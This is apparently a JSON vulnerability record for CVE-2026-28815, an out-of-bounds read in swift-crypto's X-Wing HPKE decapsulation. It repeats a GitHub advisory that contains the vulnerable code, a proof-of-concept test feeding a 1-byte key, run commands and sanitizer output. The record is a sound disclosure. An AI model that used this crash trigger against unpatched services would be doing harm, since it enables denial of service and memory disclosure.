{"id":"CVE-2026-28815","aliases":["EUVD-2026-18570","GHSA-9m44-rr2w-ppp7"],"status":"published","title":"Swift Crypto: X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length","description":"A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections. This issue is fixed in swift-crypto version 4.3.1.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-10","score":0.0049,"percentile":0.4249,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-125","CWE-787"],"published":"2026-04-03T01:32:28Z","modified":"2026-10-20T11:59:38Z","fixes":[{"ecosystem":"SwiftURL","package":"swift-crypto","fixed_in":["4.3.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"SwiftURL","package":"swift-crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"last_affected":"4.3.0"},{"fixed":"4.3.1"}]}]},{"source":"osv","ecosystem":"SwiftURL","package":"swift-crypto","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.3.1"}]}]}],"products":[{"vendor":"apple","product":"macos"},{"vendor":"apple","product":"swift-crypto"}],"references":[{"url":"https://github.com/apple/swift-crypto/security/advisories/GHSA-9m44-rr2w-ppp7","tags":["Exploit","Vendor Advisory","evidence","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28815","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9m44-rr2w-ppp7"},{"url":"https://github.com/apple/swift-crypto","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-28815","description":"A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections. This issue is fixed in swift-crypto version 4.3.1.","status":"published","published":"2026-04-03T01:32:28.999Z","modified":"2026-04-03T13:39:46.737Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T14:20:02.290587Z"}],"euvd":[{"id":"EUVD-2026-18570","description":"A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections. This issue is fixed in swift-crypto version 4.3.1.","status":"published","published":"2026-04-03T01:32:28Z","modified":"2026-04-03T13:39:46Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T19:25:16.92155Z"}],"ghsa":[{"id":"GHSA-9m44-rr2w-ppp7","title":"Swift Crypto: X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length","description":"### Summary\n\nThe X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext bytes without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter `Data` value is passed in, because the C code may read beyond the Swift buffer.\n\nThe issue is reachable through initialization of an `HPKE.Recipient`, which decapsulates the provided `encapsulatedKey` during construction. A malformed `encapsulatedKey` can therefore trigger undefined behavior instead of a safe length-validation error.\n\n### Details\n\nThe `decapsulate` function of `OpenSSLXWingPrivateKeyImpl`  does not perform a length check before passing the `encapsulated` data to the C API.\n\n```swift\nfunc decapsulate(_ encapsulated: Data) throws -\u003e SymmetricKey {\n    try SymmetricKey(unsafeUninitializedCapacity: Int(XWING_SHARED_SECRET_BYTES)) { sharedSecretBytes, count in\n        try encapsulated.withUnsafeBytes { encapsulatedSecretBytes in\n            let rc = CCryptoBoringSSL_XWING_decap(\n                sharedSecretBytes.baseAddress,\n                encapsulatedSecretBytes.baseAddress,\n                \u0026self.privateKey\n            )\n            guard rc == 1 else {\n                throw CryptoKitError.internalBoringSSLError()\n            }\n            count = Int(XWING_SHARED_SECRET_BYTES)\n        }\n    }\n}\n```\n\nThe C API does not have a runtime length parameter and instead expects a fixed-size buffer of 1120 bytes.\n\n```c\n#define XWING_CIPHERTEXT_BYTES 1120\n\nOPENSSL_EXPORT int XWING_decap(\n    uint8_t out_shared_secret[XWING_SHARED_SECRET_BYTES],\n    const uint8_t ciphertext[XWING_CIPHERTEXT_BYTES],\n    const struct XWING_private_key *private_key);\n```\n\nSince `decapsulate` accepts arguments of any length, an attacker controlled input can trigger an out-of-bounds read. The vulnerable code path can be reached through by initializing a `HPKE.Recipient`. This creates a new `HPKE.Context`, which decapsulates the attacker-controlled `enc` argument:\n\n```swift\ninit\u003cPrivateKey: HPKEKEMPrivateKey\u003e(recipientRoleWithCiphersuite ciphersuite: Ciphersuite, mode: Mode, enc: Data, psk: SymmetricKey?, pskID: Data?, skR: PrivateKey, info: Data, pkS: PrivateKey.PublicKey?) throws {\n    let sharedSecret = try skR.decapsulate(enc)\n    self.encapsulated = enc\n    self.keySchedule = try KeySchedule(mode: mode, sharedSecret: sharedSecret, info: info, psk: psk, pskID: pskID, ciphersuite: ciphersuite)\n}\n```\n\n### PoC\n\nThis PoC constructs an `HPKE.Recipient` using the X-Wing ciphersuite and deliberately passes a 1-byte `encapsulatedKey` instead of the required 1120 bytes. In a normal run, the malformed input is accepted and it reaches the vulnerable decapsulation path, i.e., no size rejection occurs. In an AddressSanitizer run, the same PoC produces a `dynamic-stack-buffer-overflow` read, confirming memory-unsafe behavior.\n\n```swift\n//===----------------------------------------------------------------------===//\n//\n// PoC for X-Wing malformed ciphertext-length decapsulation:\n// X-Wing decapsulation accepts malformed ciphertext length and forwards it to C.\n//\n// This test is intentionally unsafe and is expected to crash (or trip ASan)\n// on vulnerable builds when run.\n//\n//===----------------------------------------------------------------------===//\n\n#if canImport(FoundationEssentials)\nimport FoundationEssentials\n#else\nimport Foundation\n#endif\nimport XCTest\n\n#if CRYPTO_IN_SWIFTPM \u0026\u0026 !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n// Skip tests that require @testable imports of CryptoKit.\n#else\n#if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n@testable import CryptoKit\n#else\n@testable import Crypto\n#endif\n\nfinal class XWingMalformedEncapsulationPoCTests: XCTestCase {\n    func testShortEncapsulatedKeyHPKERecipientInit() throws {\n        if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) {\n            let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256\n            let skR = try XWingMLKEM768X25519.PrivateKey.generate()\n            let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes\n\n            // Vulnerable path: HPKE.Recipient -\u003e skR.decapsulate(enc) -\u003e XWING_decap(...)\n            _ = try HPKE.Recipient(\n                privateKey: skR,\n                ciphersuite: ciphersuite,\n                info: Data(),\n                encapsulatedKey: malformedEncapsulatedKey\n            )\n\n            XCTFail(\"Unexpectedly returned from malformed decapsulation path\")\n        }\n    }\n}\n\n#endif // CRYPTO_IN_SWIFTPM\n```\n\n#### Steps\n\n1. Add the PoC XCTest above to the test suite.\n2. Run the PoC normally to verify that malformed input is not rejected by length:\n   ```bash\n   swift test --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit\n   ```\n3. Run the same PoC with AddressSanitizer enabled to detect out-of-bounds memory access:\n   ```bash\n   swift test --sanitize=address --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit\n   ```\n\n#### Results\n\n##### Normal run\n\nThe PoC test reaches the `XCTFail` path. `HPKE.Recipient(...)` accepted a `1`-byte X-Wing encapsulated key instead of rejecting it for incorrect length.\n\n```text\nTest Case 'XWingMalformedEncapsulationPoCTests.testShortEncapsulatedKeyHPKERecipientInit' started\n... failed - Unexpectedly returned from malformed decapsulation path\n```\n\n##### AddressSanitizer run\n\nThe sanitizer run aborts with a read overflow while executing the same PoC path. This confirms the memory-safety violation. The malformed ciphertext reaches memory-unsafe behavior in the decapsulation chain.\n\n```text\nERROR: AddressSanitizer: dynamic-stack-buffer-overflow\nREAD of size 1\n...\nSUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow\n==...==ABORTING\n```\n\n### Impact\n\nA remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections.\n\nReported by Cantina.","status":"published","published":"2026-04-03T03:39:38Z","modified":"2026-04-03T03:39:42Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-787"],"updated_at":"2026-11-02T14:39:47.945242Z"}],"nvd":[{"id":"CVE-2026-28815","description":"A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections. This issue is fixed in swift-crypto version 4.3.1.","status":"published","published":"2026-04-03T03:16:18.093Z","modified":"2026-07-24T21:10:00.143Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T14:12:12.73929Z"}],"osv":[{"id":"CVE-2026-28815","description":"A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections. This issue is fixed in swift-crypto version 4.3.1.","status":"published","published":"2026-04-03T03:16:18.093Z","modified":"2026-10-20T11:59:38.47572592Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:00.530889Z"},{"id":"GHSA-9m44-rr2w-ppp7","title":"Swift Crypto: X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length","description":"### Summary\n\nThe X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext bytes without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter `Data` value is passed in, because the C code may read beyond the Swift buffer.\n\nThe issue is reachable through initialization of an `HPKE.Recipient`, which decapsulates the provided `encapsulatedKey` during construction. A malformed `encapsulatedKey` can therefore trigger undefined behavior instead of a safe length-validation error.\n\n### Details\n\nThe `decapsulate` function of `OpenSSLXWingPrivateKeyImpl`  does not perform a length check before passing the `encapsulated` data to the C API.\n\n```swift\nfunc decapsulate(_ encapsulated: Data) throws -\u003e SymmetricKey {\n    try SymmetricKey(unsafeUninitializedCapacity: Int(XWING_SHARED_SECRET_BYTES)) { sharedSecretBytes, count in\n        try encapsulated.withUnsafeBytes { encapsulatedSecretBytes in\n            let rc = CCryptoBoringSSL_XWING_decap(\n                sharedSecretBytes.baseAddress,\n                encapsulatedSecretBytes.baseAddress,\n                \u0026self.privateKey\n            )\n            guard rc == 1 else {\n                throw CryptoKitError.internalBoringSSLError()\n            }\n            count = Int(XWING_SHARED_SECRET_BYTES)\n        }\n    }\n}\n```\n\nThe C API does not have a runtime length parameter and instead expects a fixed-size buffer of 1120 bytes.\n\n```c\n#define XWING_CIPHERTEXT_BYTES 1120\n\nOPENSSL_EXPORT int XWING_decap(\n    uint8_t out_shared_secret[XWING_SHARED_SECRET_BYTES],\n    const uint8_t ciphertext[XWING_CIPHERTEXT_BYTES],\n    const struct XWING_private_key *private_key);\n```\n\nSince `decapsulate` accepts arguments of any length, an attacker controlled input can trigger an out-of-bounds read. The vulnerable code path can be reached through by initializing a `HPKE.Recipient`. This creates a new `HPKE.Context`, which decapsulates the attacker-controlled `enc` argument:\n\n```swift\ninit\u003cPrivateKey: HPKEKEMPrivateKey\u003e(recipientRoleWithCiphersuite ciphersuite: Ciphersuite, mode: Mode, enc: Data, psk: SymmetricKey?, pskID: Data?, skR: PrivateKey, info: Data, pkS: PrivateKey.PublicKey?) throws {\n    let sharedSecret = try skR.decapsulate(enc)\n    self.encapsulated = enc\n    self.keySchedule = try KeySchedule(mode: mode, sharedSecret: sharedSecret, info: info, psk: psk, pskID: pskID, ciphersuite: ciphersuite)\n}\n```\n\n### PoC\n\nThis PoC constructs an `HPKE.Recipient` using the X-Wing ciphersuite and deliberately passes a 1-byte `encapsulatedKey` instead of the required 1120 bytes. In a normal run, the malformed input is accepted and it reaches the vulnerable decapsulation path, i.e., no size rejection occurs. In an AddressSanitizer run, the same PoC produces a `dynamic-stack-buffer-overflow` read, confirming memory-unsafe behavior.\n\n```swift\n//===----------------------------------------------------------------------===//\n//\n// PoC for X-Wing malformed ciphertext-length decapsulation:\n// X-Wing decapsulation accepts malformed ciphertext length and forwards it to C.\n//\n// This test is intentionally unsafe and is expected to crash (or trip ASan)\n// on vulnerable builds when run.\n//\n//===----------------------------------------------------------------------===//\n\n#if canImport(FoundationEssentials)\nimport FoundationEssentials\n#else\nimport Foundation\n#endif\nimport XCTest\n\n#if CRYPTO_IN_SWIFTPM \u0026\u0026 !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n// Skip tests that require @testable imports of CryptoKit.\n#else\n#if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n@testable import CryptoKit\n#else\n@testable import Crypto\n#endif\n\nfinal class XWingMalformedEncapsulationPoCTests: XCTestCase {\n    func testShortEncapsulatedKeyHPKERecipientInit() throws {\n        if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) {\n            let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256\n            let skR = try XWingMLKEM768X25519.PrivateKey.generate()\n            let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes\n\n            // Vulnerable path: HPKE.Recipient -\u003e skR.decapsulate(enc) -\u003e XWING_decap(...)\n            _ = try HPKE.Recipient(\n                privateKey: skR,\n                ciphersuite: ciphersuite,\n                info: Data(),\n                encapsulatedKey: malformedEncapsulatedKey\n            )\n\n            XCTFail(\"Unexpectedly returned from malformed decapsulation path\")\n        }\n    }\n}\n\n#endif // CRYPTO_IN_SWIFTPM\n```\n\n#### Steps\n\n1. Add the PoC XCTest above to the test suite.\n2. Run the PoC normally to verify that malformed input is not rejected by length:\n   ```bash\n   swift test --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit\n   ```\n3. Run the same PoC with AddressSanitizer enabled to detect out-of-bounds memory access:\n   ```bash\n   swift test --sanitize=address --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit\n   ```\n\n#### Results\n\n##### Normal run\n\nThe PoC test reaches the `XCTFail` path. `HPKE.Recipient(...)` accepted a `1`-byte X-Wing encapsulated key instead of rejecting it for incorrect length.\n\n```text\nTest Case 'XWingMalformedEncapsulationPoCTests.testShortEncapsulatedKeyHPKERecipientInit' started\n... failed - Unexpectedly returned from malformed decapsulation path\n```\n\n##### AddressSanitizer run\n\nThe sanitizer run aborts with a read overflow while executing the same PoC path. This confirms the memory-safety violation. The malformed ciphertext reaches memory-unsafe behavior in the decapsulation chain.\n\n```text\nERROR: AddressSanitizer: dynamic-stack-buffer-overflow\nREAD of size 1\n...\nSUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow\n==...==ABORTING\n```\n\n### Impact\n\nA remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections.\n\nReported by Cantina.","status":"published","published":"2026-04-03T03:39:38Z","modified":"2026-04-03T03:56:24.43781Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-787"],"updated_at":"2026-11-02T15:46:43.875515Z"}]}}
